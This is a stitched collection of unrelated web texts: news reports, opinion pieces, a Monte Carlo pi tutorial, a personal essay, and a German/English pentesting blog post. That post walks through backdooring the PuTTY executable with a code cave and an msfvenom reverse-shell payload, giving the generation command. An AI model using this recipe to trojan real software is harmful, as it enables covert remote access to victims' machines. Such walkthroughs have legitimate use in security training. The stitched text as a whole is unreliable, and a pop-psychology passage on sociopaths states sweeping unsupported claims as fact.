The city has not recovered to its pre-recession growth levels, especially in employment. Brookings gave it an overall economic performance ranking of only 239 out of the 300 global cities the report scored. Hartford's unemployment rate is 6.3%, well above the nation's 5.6%, according to the Labor Department.
Tourism takeaway: don't change those vacation plans from Paris to Hartford. Enjoy the Louvre. | {
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Uncomfortable Situation Seal
woman next to me on the train is reading an exotic novel
her breathing gets heavier
these captions aren't guaranteed to be correct | {
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MEXICO CITY -- A prosecutor in Mexico says a gas leak in a water heater is suspected in the death of an Iowa couple and their two children last week. The head prosecutor of the Caribbean coast state of Quintana Roo told local media Monday that the water heater "was leaking gas, maybe from use or lack of maintenance."
Miguel Angel Pech told the Radio Formula station that "a high level" of gas was found in the rented condo in the resort area of Tulum where the family was staying.
Autopsies indicate the family died from inhaling toxic gas, but the source hadn't been determined.
Get Breaking News Delivered to Your Inbox
Iowa officials identified the family as Kevin Sharp, 41; his wife, Amy Sharp, 38, and their children Sterling, 12, and Adrianna, 7. They were from Creston, Iowa.
The Des Moines Register reports the U.S. Consulate in Mexico informed the family about the source of the leak, according to Jana Weland, Amy Sharp's cousin.
"It's been very stressful but the consulate's been good about helping us," Weland said. "Even the funeral home in Mexico has been good at helping." | {
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The C-Tech Saddle golf shoe has contemporary saddle styling with superior lightweight
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Warranty: 90 Day Woot Limited Warranty | {
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Say what you like about Peta (People for the Ethical Treatment of Animals) – but they certainly know how to generate their own ridiculous clickbait.
The animal rights charity has called upon Warhammer – that's the miniature table top game Warhammer, where players use figurines of elves and orcs and goblins to stage fantasy battles – to stop dressing its characters in fur.
Well, that sort of makes sense, you might be thinking. The fur trade has been linked to horrific cruelty, after all, and there's surely no reason for a game – or, indeed, for anyone – to use the material for frivolous purposes.
The one snag? Warhammer doesn't actually use any fur in its products. | {
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One thing that a sociopath feels is ‘dupers delight’. A sociopath doesn’t feel too many emotions. He can feel lots of things, anger, narcisstic rage, jealousy, paranoia, if it’s a feeling. But they don’t actually feel real feelings like other people feel. Its kind of an empty space.
Because of this sociopaths struggle with boredom and ways to get excitement. One way that they can get a rush is by manipulation and deceit, and deliberately conning someone. This is called dupers delight. The rush that they feel when they are conning someone who they feel is more stupid, and can’t see through their lies.
When found out, they do not feel bad for hurting you and they do not feel remorse or shame. Instead they feel a rush of endorphins, which for a sociopath is described as dupers delight.
This can be addictive. An addiction to experiencing that rush of endorphins. And so, they repeat this behaviour again, and again.
This is one of the reasons why sociopaths cannot be rehabilitated. They cannot change, because they feel empty inside, they become addicted to this rush of adrenaline that they feel by conning someone. To them, it is your own fault for being so stupid, and so gullible, and if you take them back, they will only do the same thing over again, thinking you must be even more stupid than they thought you were originally.
They will make empty false promises, that they will change, that they have changed. But these are merely just words. A sociopath lives on words. Unfortunately, there is rarely any correlation between words and actions. | {
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CALGARY, Alberta -- Their defense was suspect, their goaltending shaky early on.
But the Detroit Red Wings showed their resiliency by battling back from a two-goal second period deficit to tie the game. Todd Bertuzzi then scored the only goal in the shootout Friday as the Red Wings defeated the Calgary Flames 5-4 at the Saddledome for their fifth consecutive road victory.
The Red Wings lost another player in the process, however, as defenseman
Brad Stuart suffered a broken jaw
and will be out indefinitely.
Detroit coach Mike Babcock was irate about the hit from Tom Kostopoulos that injured Stuart with 9:53 to play in the third period.
“It’s unfortunate, it was a bad hit, a blindside hit to the head, uncalled for, unneeded,’’ Babcock said.
He believes the NHL will take disciplinary action.
“I would assume they’d look at it and I would assume he’ll be suspended,’’ Babcock said. “You’re supposed to look after good players in the league. I have no problem if the guy buries him ... but you don’t hit him in the head, there’s no reason to do that. It’s disappointing.’’
He later added, “that’s disgraceful, it’s embarrassing.’’
Babcock said Stuart will need to have his jaw wired shut.
The injury to one of their most valuable defensemen -- Stuart leads the team in hits and blocked shots and played on the top pairing with Nicklas Lidstrom -- overshadowed a tremendous win.
Bertuzzi capped it by slowly approaching goaltender Mikka Kiprusoff and making a nice move to backhand the puck past him.
“I played here so I know Kip,’’ Bertuzzi said. “I used to do a lot of breakaways on Kip (in practice). He knows I like to go in tight, so I knew that poke-check as coming. So it was just matter of being quick with it and try to get it up.’’
Red Wings goalie Jimmy Howard struggled the first half the game, but finished strong. He made several big saves in the third period and overtime and stopped all three shootout attempts.
He said Bertuzzi’s shootout try was unstoppable.
“It’s total advantage to the shooter, with him coming in so slow,’’ Howard said. “If he just changes up his momentum really quickly, your perception and distance you want to keep is off.’’
Brian Rafalski scored his first two goals of the season in his 800th career game. Patrick Eaves, back after missing three games with an elbow injury, continued his hot streak with his 12th goal, on the power play. Darren Helm also continued on his upswing with a goal and an assist.
“Both goalies couldn’t get hit (with the puck) early and our guy found a way to make huge saves at the end,’’ Babcock said. “But obviously we’re really short-staffed (they also played without Valtteri Filppula, due to a groin injury), so we didn’t have the puck as much as we normally do. We just hung in there and hung in there and found a way to get a couple of points, which is important for us, we’re trying to stay near the top.
“This road trip so far to get two wins is really important.’’
Rafalski scored his second goal of the game at 8:16 of the third period to tie it 4-4. He fired a shot from along the boards that handcuffed Kiprusoff.
Howard, who hasn’t been as sharp the last month, stepped up big the latter half of the game.
“In the third period and the overtime, he played tremendous for us, made some great saves,’’ Red Wings captain Nicklas Lidstrom said.
Howard said he just tried to keep battling.
“I knew it’s going to pass if I keep staying focused and trying to make saves, bounces will start going our way,’’ Howard said. “I wanted to win. (Lost) a couple of games in a row, I wasn’t losing three, that was fore sure. I was going to do whatever it took to win that game.’’
Rafalski’s contribution helped. He skated into the offensive zone and got off a harmless-looking shot that deflected off a Calgary player into the net, trying the game 2-2 at the 41-second mark of the second period.
But the Flames answered quickly, as Curtis Glencross scored at 1:09. Howard over-committed to his left and couldn’t slide over to his right quickly enough, leaving much of the net exposed.
Anton Babchuk made it 4-2 on the power play at 11:33, blasting in a shot from just inside the blue line that deflected in off Nicklas Lidstrom’s stick.
After failing to score during a 40-second two-man advantage, the Red Wings cut their deficit to 4-3 when Eaves blasted in a cross-ice pass from Jiri Hudler on the power play with 18 seconds left in the period.
“It was a timely goal for us,’’ Eaves said. “Huds made a great pass.’’
The Flames led 2-1 after the first period.
Glencross scored at 8:43 when he appeared to fan on a shot but still managed to get it in the net.
Helm tied it at 15:58, firing in a sharp-angle shot that found a small opening. Helm has goals in consecutive games and nine points in the last nine games (two goals, seven assists).
The Flames regained the lead when Jarome Iginla scored on a wraparound with 10 seconds remaining in the period.
Ultimately, though, the Red Wings would not be denied.
“We weren’t at our best and they were pretty good and made it tough on us, but we battled,’’ Eaves said. “The whole team and Jimmy came up huge at the end. We’ll take our two points and get out of here.’’
Post-game: Nicklas Lidstrom and Jimmy Howard
Post-game: Niklas Kronwall and Mike Babcock
Tom Kostopoulos breaks Brad Stuart's jaw | {
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Twilight - Wink By midnite99 Watch
15 Favourites 3 Comments 1K Views
This Vector was from Lesson Zero just after twilight went to help Rarity with her problem
Copyright for MLP goes to Hasbro and Lauren Faust
IMAGE DETAILS Image size 3998x3771px 472.82 KB Show More
Published : Dec 4, 2012 | {
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if i give my heart to you, will you handle it with care? will you always treat me tenderly, and in every way be fair? | {
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Man arraigned in fatal beating of girlfriend
Sarah Rahal | The Detroit News
A Detroit man was arraigned Tuesday in connection with the fatal beating of his girlfriend, officials said.
Tykese Keaton-Baldwin, 20, was arraigned in 36th District Court in Detroit on a second-degree murder charge of his girlfriend Brittany Collett, 23.
The incident occurred after 4:30 a.m. Saturday. Detroit police dispatched to a home in the 19400 block of Prairie Street. Upon arrival at 5:25 a.m., officers found Collett's body face down on the grass with blood around her head, prosecutors said.
Prosecutors said Collett of Clearwater, Florida, died of blunt force trauma.
Keaton-Baldwin remained jailed. His probable-cause hearing is scheduled for Aug. 24 and his preliminary examination is Aug. 31.
[email protected] | {
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Microsoft CEO Satya Nadella said he couldn't care less that the company has hit $1 trillion in market value under his leadership.
"I would be disgusted if somebody ever celebrated our market cap," Nadella told Bloomberg Businessweek in an interview. While Microsoft's stock has spiked 230% during Nadella's tenure as CEO beginning in February 2014, he told Bloomberg that the milestone is "not meaningful."
Nadella would prefer to remain focused on the future rather than celebrating past accomplishments, he told Bloomberg.
"At Microsoft we have this very bad habit of not being able to push ourselves because we just feel very self-satisfied with the success we've had," he said. "We're learning how not to look at the past."
That mindset has helped Microsoft grow its cloud business to become a serious competitor to the dominant player in the space, Amazon Web Services. Microsoft's Azure may be smaller, but it's now growing faster than AWS. In its fiscal third-quarter earnings report last week, Microsoft said revenue for its commercial cloud business, which includes Azure, grew 41% to $9.6 billion, a rate matching AWS' Q1 growth reported the same week. But Azure revenue alone increased 73%, Microsoft said.
Nadella opted to focus on growing the cloud business at Microsoft instead of continuing to funnel vast resources to the Windows division. His $7.6 billion write-off of former CEO Steve Ballmer's purchase of Nokia proved Nadella was committed to looking forward at the company rather than focusing on old ambitions in mobile. Microsoft largely missed its chance to become a player in mobile, and now Apple and Google dominate the space.
While Microsoft has since fallen below the $1 trillion market cap, it remains neck and neck with Apple and Amazon for the title of the world's most valuable company — not that Nadella is keeping track.
Read the full interview at Bloomberg Businessweek.
Subscribe to CNBC on YouTube.
Watch: CNBC's full interview with Microsoft's Nadella, Adobe's Narayen and SAP's McDermott | {
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1 of 7 View Caption
Steve Griffin | The Salt Lake Tribune Richard Davis is helping to organize a new centrist party of disaffected Republicans and D Tribune file photo Richard Davis, a political science professor at Brigham Young University and former chairman of the Utah County Steve Griffin | The Salt Lake Tribune Jim Bennett, center, is helping to organize a new centrist party of disaffected Republican Steve Griffin | Tribune file photo Jim Bennett, center, is helping to organize a new centrist party of disaffected Republicans a Steve Griffin | The Salt Lake Tribune Richard Davis is helping to organize a new centrist party of disaffected Republicans and D Steve Griffin | The Salt Lake Tribune Jim Bennett, center, is helping to organize a new centrist party of disaffected Republican Steve Griffin | Tribune file photo Jim Bennett, center, amid members of the new United Utah Party, at the centrist political part | {
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Play
Man’s Chase Payment Processing Shut Down, Suspects Political Targeting of Provocative Conservative Merchandising
Chase Bank Unable to Produce Reason for Account Termination
Chase Corporate Global Media Relations: “Chase is not involved with any like, you know, alt-right people”
Other Conservative Voices and Chase Bank Customers Also ‘Debanked’ Recently
UPDATE: Chase Bank Communications Officer Patricia Wexler responded to this report, saying: “We do not close accounts due to political affiliation. Despite what was described in the video, that was NOT someone from Global Corporate Media Relations. As I’m sure you can appreciate, I’m not able to share any personal details on anyone’s individual or business account.” (Washington DC) Project Veritas has released a video report (the full 10 minute version can be found below) about a man whose Chase bank account was shut down without being given a reason. The report, which includes testimony from Enrique Tarrio, the man whose Chase account was terminated, features undercover video of conversations with bank professionals discussing the account’s closure.
Said Project Veritas founder James O’Keefe,
“Are there unwritten Chase policies that Mr. Tarrio and others were in breach of? ‘Debanking’ appears to be a new frontier in American politics.”
Insiders can contact Project Veritas here.
Before the account’s termination, Tarrio, whose website sells provocative conservative merchandise, spoke to Chase bank professionals. Tarrio says that phone operators for Chase were unable to explain why his business account was being terminated.
Conversations in various Chase bank offices were recorded and provided to Project Veritas.
Multiple Chase account and bank managers were unable to assist Tarrio, saying that inquiries regarding the closure of his business account would have to be directed to the “executive office.”
Said one of the Chase bankers, Marcel Smith:
“I see nothing that indicates any reason why the account should be closed, I don’t see any outstanding transactions or anything ridiculous.”
Chase bank typically gives its customers a reason for account closures, says Smith:
“I’ve never seen them not give a response to someone whose account they had closed.”
An analyst from the Chase executive office, Nora, told Tarrio that his account was being closed for various clerical issues. In a phone conversation with Nora, which was published by Project Veritas, Tarrio clarifies there were no clerical issues.
“The Right Relationship is Everything”
Undercover audio from a conversation with a Chase employee working in Chase Corporate Global Media Relations reveal that Chase bank makes political judgments about their customers.
JOURNALIST: I don’t want to do business with anyone who does business with Steve Bannon, or any of these alt right people, and that’s just one of my prerequisites. CHASE: Right, right. As far as I’m concerned, we’re not connected with Steve Bannon. JOURNALIST: Do you have standards in place that would preempt such relationship with anyone, um of Steve Bannon’s – CHASE: Oh definitely. Definitely, definitely. JOURNALIST: That’s what I’m calling to inquire about. Tell me more. CHASE: Right so I mean, Chase is not involved with any like, you know, alt right people or anything. I really can’t name names but it’s basically like we don’t get involved with any of that… JOURNALIST: … I don’t expect for you guys, I’m not talking about who you guys give money to – CHASE: No, just any business relationships, period. JOURNALIST: Really? Okay… So I mean on my end I’m talking about people like Trump supporters for instance. The MAGA, whatever – make, whatever the hell they, those types of people, I mean individuals – CHASE: Right, right. I know what you mean, but like I said the call is being recorded, monitored, so I can’t get too political. And say I don’t support these people, or this, but you know, any kind of business entity, people like that, no moral character or anything like that, the bank usually doesn’t get involved with that.”
Project Veritas founder James O’Keefe believes that transparency could clear up issues like Mr. Tarrio’s. In order to investigate more issues, Project Veritas receives tips from insiders in technology, government, education, and other professional fields here.
Full 10-Minute Video:
Play
Producer: Christian Hartsock | {
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Willkommen zu meinem nächsten Blogpost. Heute möchte ich euch ein paar grundlegende Pentesting Tätigkeiten zeigen. Wir werden händisch eine PE-Datei mit einem Backdoor versehen, wobei hier die Software PuTTY als Beispiel nutzen werde.
Ich habe folgendes Setup verwendet:
Windows 10 Pro 32 Bit
Putty
Stud_PE
Immunity Debugger
Bevor wir tief im Assembly Code rumbasteln, möchte ich kurz erläutern, was wir überhaupt vor haben.
Wir fügen eine neue Header Section mit dem Namen .evil zu unserer Datei hinzu und hijscken den Programmablauf der Datei. Am Entry Point werden wir den Programmablauf zu unserem Shellcode umleiten und nachdem wir unsere Shell erlangt haben, das Programm wie gewohnt ausführen lassen (PuTTY startet).
#0x01 Section hinzufügen
Als erstes fügen wir mit Hilfe von Stud_PE unsere neue Section .evil zur Datei hinzu. Die nachfolgenden Bilder sind ziemlich selbsterklärend 😉
Ich habe für die Section eine Größe von 1500 Bytes gewählt, welche mit Nullbytes gefüllt wird. Dieser Platz ist mehr als ausreichend für unseren Shellcode.
Nach dem Speichern der Datei und Laden im Immunity Debugger können wir den Unterschied der beiden Dateien deutlich erkennen (.evil Section erscheint).
Und wenn wir die Werte der .evil Section betrachten, sehen wir das folgende (unsere vordefinierten Nullbytes 😉 -> Top!
00FB0000 <-> 00250000
Während ihr unsere neue Section betrachtet, ist euch ggf. Aufgefallen, dass sich die Adressen leicht verändert haben. Die letzten 4 Bytes sind Nullbytes, aber die ersten 4 haben sich durch das Neuladen der Datei verändert.
Das ist ein Kernelschutz namens ASLR, du kannst hier mehr Informationen darüber finden. Dies macht uns etwas Mehrarbeit, ist aber kein wirklich Problem (später mehr dazu ;-).
#0x02 Hijack Programmablauf
Jetzt schauen wir uns den Entry Point unserer Datei im Immunity Debugger an. Die erste Instruktion ist ein call bei 0x002B7FD6. Wir werden dies in einen Jump zu unserem Shellcode ändern. Aber bevor wir Änderungen vornehmen, kopieren wir die „alten“ Instruktionen im eine Textdatei, weil wir nach unserer Shellcode Ausführung zurück zum Programmablauf springen möchten.
Markiert die erste Instruktion und schreibt „jmp [adress of .evil]“. Bei mir wäre dies beispielsweise „jmp 0x002E3000“. Danach druckt ihr Enter und seht das folgende:
Speichert die Änderungen in eine neue Datei und lädt diese neu.
Nun führen wir die erste Instruktion mir F7 aus und werden in unserer Code Cave .evil gefüllt mit Nullbytes landen.
Für unsere Zwecke werden wie die Nullbytes mit Nops ersetzen. Hierfür muss man lediglich alle Nullbytes der Code Cave markieren und das folgende tun:
Wir speichern diesen Status der Register auf unserem Stack mit den assembly Instruktionen pushad && pushfd.
Am Ende der Code Cave stellen wir diesen Status mit den Instruktionen popfd uns popad wieder her.
So weit, so gut (hoffentlich ;-). Nun müssen wir etwas rechnen, um ASLR zu umgehen.
Unser Ziel ist es, alle überschriebenen Funktionen wieder herzustellen und am Ende unseres Payloads dorthin zu springen, um in den „alten“ Programmablauf zu gelangen. Wenn wir uns den Entry Point ansehen, stellen wir fest, dass lediglich die call Funktion fehlt. Ohne ASLR könnten wir an dieser Stelle einfach die alte Adresse aus unserer Textdatei nutzen und dorthin springen. Damit wäre dies ein simples „call 0x002B8265„, aber wie wir sehen im hat sich auch das „jmp 0x002B7E6E“ verändert, …. ASLR Hurra! xD
Also was nun? Wir müssen das Offset zwischen der alten und neuen Adresse berechnen. Anstatt das alles auf 4 Seiten zu verschriftlichen, habe ich versucht das ganze nachfolgend in Bilder zu erklären. (Falls es hier Fragen gibt, am besten mich über Twitter kontaktieren 🙂
Am Ende haben wir unsere „neue“ Adresse für unsere überschrieben call Instruktion berechnet: 0x13F8265.
Wir platzieren diese nun direkt hinter unseren wiederhergestellten Registern (pushfd, pushad).
Dann brauchen wir nur noch in unsere nächste ursprüngliche Instruktion am Entry Point zu springen „jmp 0x01067FD8“ und das Programm läuft wie gewohnt.
#0x03 Inject Shellcode
Wählt eine Methode, um euren Shellcode zu erzeugen. Ich nutze an dieser Stelle einfach msfvenom mit folgender Syntax:
msfvenom -p windows/shell_reverse_tcp lhost=10.0.2.6 lport=1337 exitfunc=thread -f hex
Anschließend könnt ihr die Binary Paste Funktion in Immunity nutzen, um den Shellcode in die Code Cave einzufügen.
Save the file and voila, you sucessfully backdoored a PE-File !
Ok, just one thing is missing. The shellcode of msfvenom used the WaitForSingleObject function and the default values prevent the application to execute until the shell is released.
To solve this change the „DEC ESI“ code at the end of the shellcode with a nop.
0x04 PoC
Start your listener and fire up the application.
Thanks for reading and if you like this post, check my twitter account please! xD | {
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There's a mysterious plane and helicopter circling over the camp at Standing Rock in North Dakota, where police and activists have been locked in a showdown over the Dakota Access oil pipeline for months.
It's unclear who sent the plane or its purpose — but those on the ground believe it may be flying overhead to interfere with connectivity.
Dakota Access Pipeline protesters square off against police near the Standing Rock Reservation and the pipeline route outside Saint Anthony, North Dakota, on Oct. 5, 2016. Reuters
"We don't know what it does. Some posts have been blocked from being posted on Facebook. Some live feeds have been disrupted. I know one woman’s phone completely crashed while she was at the front line and it doesn’t work anymore. She had valuable videos on her phone," Marilyn Fox, 18, a member of the Standing Rock Sioux Tribe told NBC News.
Related: Fight for Standing Rock: Native Americans Defend Water, Land
Questions of surveillance have circulated at the camp. Protesters call themselves water protectors, because the pipeline would be built beneath the primary water supply of several tribal communities and cities downstream.
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These water protectors say they've had trouble getting connectivity and are also aware of allegations police may be targeting protesters who are checked in via Facebook.
Nathan Wessler, an ACLU staff attorney who specializes in technology and privacy, said he "doesn't know for sure whether law enforcement or the landowner is using technology that could surveil or interfere with phone networks, but we have heard from some activists on the ground who have said their phones are behaving strangely."
NBC News producer Chiara Sottile, who is at Standing Rock, reported interference in microphones she was using for an interview as the plane circled above on Sunday. Such interference could have been caused by other factors as well.
Wessler said there are a few different technologies that law enforcement could use to scramble phone networks, including technology such as cell site simulators and phone jammers. However, he also said the reports in North Dakota could also be caused by over saturated cell network.
The ACLU has outstanding requests with local law enforcement and government agencies for public records concerning North Dakota and the use of this technology, he said.
Chances are, you've seen at least a few of your Facebook friends checked in at Standing Rock today, but they're likely not in North Dakota. The viral movement came amid reports law enforcement was using Facebook to surveil activists checked in at Standing Rock.
"It’s almost as if they’ve figured out that’s how we’re getting the word out about what’s going — about what’s truly going on here," Fox said. "So they’re doing their best to prevent that from happening, because they know the truth isn’t being spoken about on local media."
In a statement, Morton County Sheriff Kyle Kirchmeier called the reports “absolutely false.”
“The Morton County Sheriff’s Department is not and does not follow Facebook check-ins for the protest camp or any location,” said Kirchmeier.
For Dallas Goldtooth, whose Facebook Live videos have routinely garnered hundreds of thousands of views throughout the standoff, the reports that the Morton County Sheriff’s office was possibly monitoring his or others’ Facebook activity was “completely unsurprising.”
“Every one of us who’s utilized social media to broadcast online has been targeted,” Goldtooth, an activist with the Indigenous Environmental Network, told NBC News.
Goldtooth said the Facebook “check-in” campaign was “an innovative way to keep folks engaged in our struggle” but, he countered, “we understand it’s not a game changer, though.” | {
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Note
This story has also been featured as one of the most viewed (Gold badge) on KDnuggets platform.
Introduction
The essence of mathematical programming is that you build a habit of coding up mathematical concepts, especially the ones involving a series of computational tasks in a systematic manner.
This kind of programming habit is extremely useful for a career in analytics and data science, where one is expected to encounter and make sense of a wide variety of numerical patterns every day. The ability of mathematical programming helps in rapid prototyping of quick numerical analyses, which are often the first steps in building a data model.
A few examples
So, what do I mean by mathematical programming? Isn’t a bunch of mathematical functions already built-in and optimized in various Python libraries like NumPy and SciPy?
Yes, but that should not stop you from coding up various numerical computation tasks from scratch and getting into the habit of mathematical programming.
Here are a few random examples,
As you can see, the examples can be made extremely interesting and close to real-life scenarios. This technique, therefore, also leads to the ability of writing code for discrete or stochastic simulations.
When you are browsing through some mathematical properties or ideas on the internet, do you feel the urge to quickly test the concept using a simple piece of code in your favorite programming language?
If yes, then congratulations! You have the ingrained habit of mathematical programming and it will take you far in your pursuit of a satisfactory data science career.
Why is mathematical programming a key skill for data science?
The practice of data science needs an extremely friendly relationship with numbers and numerical analyses. However, this does not mean memorization of complicated formula and equations.
A faculty of discovering patterns in numbers and an ability to quickly testing ideas by writing simple code go far for a budding data scientist.
This is akin to an electronics engineer being fairly hands-on with laboratory-equipments and automation scripting to run those pieces of equipment to capture hidden patterns in the electrical signals.
Or, think of a young biologist who is proficient in creating cross-section samples of cells on a slide and quickly run automated tests under a microscope to gather data for testing her ideas.
The point is that while the whole enterprise of data science may comprise of many disparate components — data wrangling, text processing, file handling, database processing, machine learning and statistical modeling, visualization, presentation, etc. — a quick experimentation with ideas often do not require much more than solid mathematical programming ability.
It is difficult to exactly pin-point all the necessary elements that are required to develop the skill of mathematical programming, but some of the common ones are,
A habit of modularized programming,
A clear idea about various randomization techniques
Ability to read and understand the fundamental topics of linear algebra, calculus, and discrete mathematics ,
, Familiarity with basic descriptive and inferential statistics ,
, Rudimentary ideas about discrete and continuous optimization methods (such as linear programming)
(such as linear programming) Basic proficiency with the core numerical libraries and functions in the language of choice, in which the data scientists wants to test her ideas
You can refer to this article which discusses what to learn in essential hands-on mathematics for data science.
In this article, we will illustrate the mathematical programming by discussing a very simple example, computing the approximate value of pi using a Monte Carlo method of throwing random darts at a board.
Computing pi by throwing (a lot of) darts
This is a fun method to compute the value of pi by simulating the random process of throwing darts at a board. It does not use any sophisticated mathematical analysis or formula but tries to compute the approximate value of pi from the emulation of a purely physical (but stochastic) process.
This technique falls under the banner of Monte Carlo method, whose basic concept is to emulate a random process, which, when repeated a large number of times, gives rise to the approximation of some mathematical quantity of interest.
Imagine a square dartboard.
Then, the dartboard with a circle drawn inside it touching all its sides.
And then, you throw darts at it. Randomly. That means some fall inside the circle, some outside. But assume that no dart falls outside the board.
At the end of your dart throwing session, you count the fraction of darts that fell inside the circle of the total number of darts thrown. Multiply that number by 4.
The resulting number should be pi. Or, a close approximation if you had thrown a lot of darts.
What’s the idea?
The idea is extremely simple. If you throw a large number of darts, then the probability of a dart falling inside the circle is just the ratio of the area of the circle to that of the area of the square board. With the help of basic mathematics, you can show that this ratio turns out to be pi/4. So, to get pi, you just multiply that number by 4.
The key here is to simulate the throwing of a lot of darts so as to make the fraction (of the darts that fall inside the circle) equal to the probability, an assertion valid only in the limit of a large number of trials of this random event. This comes from the law of large number or the frequentist definition of probability.
Python code
A Jupyter notebook illustrating the Python code is given here in my Github repo. Please feel free to copy or fork. The steps are simple.
First, create a function to simulate the random throw of a dart.
Then, write a function to determine if a dart, given its landing coordinates, falls inside the circle,
Finally, write a function to simulate a large number of dart throwing and calculate the value of pi from the cumulative result.
But the programming must not stop there. We must test how good the approximation is and how it changes with the number of random throws. As with any Monte Carlo experiment, we expect the approximation to get better with a higher number of experiments.
This is the core of data science and analytics. It is not enough to write a function which prints the expected output and stop there. The essential programming may be done but the scientific experiment does not stop there without further exploration and testing of the hypothesis.
We can see that a large number of random throws can be repeated a few times to calculate an average and get a better approximation.
Simple code, rich ideas
The theory and code behind this technique seem extremely simple. However, behind the facade of this simple exercise, some pretty interesting ideas are hidden.
Functional programming approach: The description of the technique can be coded using a monolith code block. However, we show how the tasks should be partitioned into simple functions mimicking real human actions —
throwing a dart,
examining the landing coordinate of the dart and determining whether it landed inside the circle,
repeating this process an arbitrary number of times
To write high-quality code for large programs, it is instructive to use this kind of modularized programming style.
Emergent behavior: Nowhere in this code, any formula involving pi or properties of a circle was used. Somehow, the value of pi emerges from the collective action of throwing a bunch of darts randomly at a board and calculating a fraction. This is an example of emergent behavior in which a mathematical pattern emerges from a set of a large number of repeated experiments of a similar kind through their mutual interaction.
Frequentist definition of probability: There are two broad categories of the definition of probability and two fiercely rival camps — frequentists and Bayesians. It is easy to think as a frequentist and define probability as a frequency (as a fraction of the total number of random trials) of an event. In this coding exercise, we could see how this particular notion of probability emerges from repeating random trials a large number of times.
Stochastic simulation: The core function of throwing dart uses a random generator at its heart. Now, a computer-generated random number is not truly random, but for all practical purpose, it can be assumed to be one. In this programming exercise, we used a uniform random generator function from the random module of Python. Use of this kind of randomization method is at the heart of stochastic simulation, which is a powerful method used in the practice of data science.
Testing the assertion by repeated simulations and visualization: Often, in data science, we deal with stochastic processes and probabilistic models, which must be tested based on a large number of simulations/experiments. Therefore, it is imperative to think in those asymptotic terms and test the validity of the data model or the scientific assertion in a statistically sound manner.
Summary (and a challenge for the reader)
We demonstrate what it means to develop a habit of mathematical programming. Essentially, it is thinking in terms of programming to test out the mathematical properties or data patterns that you are developing in your mind. This simple habit can aid in the development of good practices for an upcoming data scientist.
An example was demonstrated using simple geometric identities, concepts of stochastic simulation, and frequentist definition of probability.
If you are looking for more challenge, | {
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This was soooo entertaining…
Conservative Dana Loesch, with an assist from Grover Norquist, completely obliterated CNN’s Piers Morgan and commie Van Jones on gun rights in America.
It was almost embarrassing for the guys. At one point Piers was left speechless.
Too funny.
| {
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That early-bird price might be final, but very little else about the Hawkeye is. ZTE is still locking down the final specs so the chipset, camera, and RAM and storage configurations are still totally unknown. (As you can tell by the photos, it will have a rear fingerprint scanner.) That said, ZTE did let us fiddle around with some near-final design mockups and they're sleeker than that all-too-reasonable price tag would suggest. If these choices stick around, we'll be looking at an all-plastic body that comes in a variety of colors and texture finishes -- naturally, Kickstarter backers will be able to vote on which ones make the final cut. That said, I actually like the choices ZTE has tentatively cooked up: there's a smooth, deep navy with a zig-zag pattern that's only visible up close, a lenticular finish with a blue-to-black gradient and a wavy lime green look that sort of looks like a zen garden.
Before I get too hung up on looks, I should point out that these preliminary bodies feel great too. They're slim and light without feeling cheap, and they speak to how good ZTE has gotten at crafting attractive devices. There's one caveat you should be aware of, though. Rather than baking the adhesive directly into the back of the phone, ZTE has decided to build an adhesive case for the phone. That's not exactly in keeping with the winning proposal, but hey -- since you can remove the clingy bits, you won't be stuck with a smartphone that sticks to the inside of your pockets all the time. We'll take it. | {
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I distinctly remember the day a classmate described me as the only black student in my entire program as an undergraduate. You’d think I’d be shocked by this statistic but truthfully, I was more shocked with myself: I hadn’t even noticed.
I am a “mixed” woman in my twenties attending art school in Los Angeles. What I realized in this moment was that I was so entirely used to being the “only one” in so many public and educational settings, I had (flat out) gotten used to it.
Prior to attending California Institute of the Arts, I was pretty oblivious to my African-American culture. My family, my high school student body and the city I lived in were completely white in majority. Because this part of my identity was never celebrated, I learned to ignore it and internalize feelings of isolation and resentment.
This was certainly a case of internalized racism and these feelings were the outcome of identifying myself as non- white as opposed to black. This means I saw myself in terms of what I wasn’t instead of what I was. It seems like such a small distinction in thought, but it really took a toll on my opinion of myself as a woman of color and as a whole individual.
Internalized racism is often understood by outsiders simply as low self- esteem, color prejudice (or colorism), stereotyping and self- hatred. While these can definitely be feelings a victim of internalized racism may feel, this is totally not looking at the big picture.
Just how racism is a systematic form of oppression, internalized racism is systematic in its nature as well. In other words, just how there is a system in place that reinforces the privilege of white people, there is a system that discourages the power of people of color. This system is upheld at its foundation by punishment and reward. How many times have we felt excluded when we have not “reached” the white, female beauty standard? This is a shame because I think black hair is beautiful just as is. (And yes, under this system, even natural black hair can be totally viewed as a political statement).
It’s important to understand internalized racism as systemic because it makes it clear that this is not a problem of individuals, it’s structural. It took me time to understand this and forgive myself.
I wanted to be more apart of my culture and heritage, however the invisibility of my culture in public space made me feel isolated. That is what I truly resented, not the color of my skin. In my environment and in my social circle, blackness was viewed as absence of whiteness rather than blackness existing beautifully without relying on whiteness for context. People of color may easily fall victim to internalizing oppression, as I did.
In the past, I believed being a woman of two races meant dealing with existing in the dreaded liminal space. This means I truly felt I was not black enough for one category, not white enough for the other. Many mixed women I’ve talked to have felt similar. It’s a feeling of isolation internalized from receiving comments over the years like, “You’re the whitest black girl I’ve ever met” or (and I’m not even kidding) “You’re pretty for a black girl.”
It was in my first year at CalArts that I staged managed a play directed by Nataki Garrett, an acting professor and theater artist who admirably takes the issues of race head-on in her career. Even though I was working ‘behind the scenes’, I was put in a position to question ethnic and racial dynamics on campus and to challenge my own apathy towards my racial identity. It only took bringing to life one play with this amazing woman that I began to feel liberated from my oppressive ways of thinking.
Shortly after, I was invited to my first ever, It’s a Sistah Thang. This event was described as a gathering of “the black women of CalArts School of Theater: past, present and future.” Little did I know this event would change my entire experience at CalArts.
It’s a Sistah Thang was attended by students, alumni and faculty. I was simply overwhelmed and overjoyed by being in a room with so many beautiful, powerful artists all at one time. We discussed the experiences in our lives, on our campus and in our art making as women of color. I felt encouraged to discuss my life in a racial context.
I soon realized going home, that I had found the community of women I had unconsciously been searching for. I previously could not articulate this need because I simply did not have the language or have the access to an environment in order to discuss the complexities of my experience. At It’s a Sistah Thang, it felt a lot like I was lost and then I was found.
After the event, I had heard through the grapevine that some Caucasian students felt left out that they were not invited. In addressing this issue, I am reminded of a co-worker of mine who made a comment about wanting a “White History Month” just like a Black History Month. I remember telling him with a smile, “Don’t you have one every month of the year?”
The same goes for events like It’s a Sistah Thang. Friends that attended this event with me felt as if there was finally a space in which to openly talk about anything. (Even issues that white students can understand but cannot relate to because of the privilege that comes with being white).
I believe now that privilege is something that should be openly discussed between peers; especially in the artistic world. I find myself battling with having privilege in some situations and not having privilege in others based on my mixed racial identity.
